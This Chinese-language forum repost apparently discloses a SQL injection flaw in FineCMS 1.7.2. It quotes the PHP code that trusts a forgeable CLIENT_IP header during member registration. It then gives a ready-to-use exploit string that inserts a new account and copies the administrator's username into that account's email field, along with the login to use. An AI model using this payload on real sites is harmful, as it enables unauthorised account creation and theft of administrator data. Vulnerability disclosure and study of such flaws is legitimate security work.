Finecms 1.7.2注射漏洞

漏洞文件:

Client.Class.php 29行处

public static function get_user_ip() {
        if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
            $onlineip = getenv('HTTP_CLIENT_IP');
        } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
            $onlineip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
            $onlineip = getenv('REMOTE_ADDR');
        } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        return $onlineip;
    }
/* 显然可以伪造一个client_ip进行注入 */

RegsiterController.php 145行处

private function reg($data) {
          if (empty($data)) return false;
             $data['groupid']  = 1;
             $data['regdate']  = time();
       $data['regip']    = client::get_user_ip();//使用了get_user_ip的方法,漏洞就此产生.
       $data['status']        = $this->memberconfig['status']  ? 0 : 1;
             $data['modelid']  = (!isset($data['modelid']) || empty($data['modelid'])) ? $this->memberconfig['modelid'] : $data['modelid'];
             if (!isset($this->membermodel[$data['modelid']])) $this->memberMsg('会员模型不存在，请联系管理员。');
             if ($this->memberconfig['uc_use'] == 1) {
                if (uc_get_user($data['username'])) {
                          $this->memberMsg('该用户无需注册，请直接登录激活！', url('member/login'), 1);
                    }
                    $uid = uc_user_register($data['username'], $data['password'], $data['email']);
                    if ($uid <= 0) {
                          if ($uid == -1) {
                                $this->memberMsg('用户名不合法');
                          } elseif($uid == -2) {
                                $this->memberMsg('包含要允许注册的词语');
                          } elseif($uid == -3) {
                                $this->memberMsg('用户名已经存在');
                          } elseif($uid == -4) {
                                $this->memberMsg('Email 格式有误');
                          } elseif($uid == -5) {
                                $this->memberMsg('Email 不允许注册');
                          } elseif($uid == -6) {
                                $this->memberMsg('该 Email 已经被注册');
                          } else {
                                $this->memberMsg('未定义');
                          }
                    } else {
                          $username = $data['username'];
                    }
             }
          $data['password'] = md5($data['password']);
             $userid = $this->member->insert($data);
             return $userid;
       }

Exp:

提交用户注册的时候,伪造一个client_ip,内容如下:

sb','1','6'),('hell','1b192f49ddec03d0c7e777d3e578cebf',(select username from fn_user where userid=1),'1','11111','sbd','1','6')#

成功之后,登陆用户:hell,密码:sbdan. 邮箱处就有管理员的user了.

摘自：https://www.t00ls.net/viewthread.php?tid=21094

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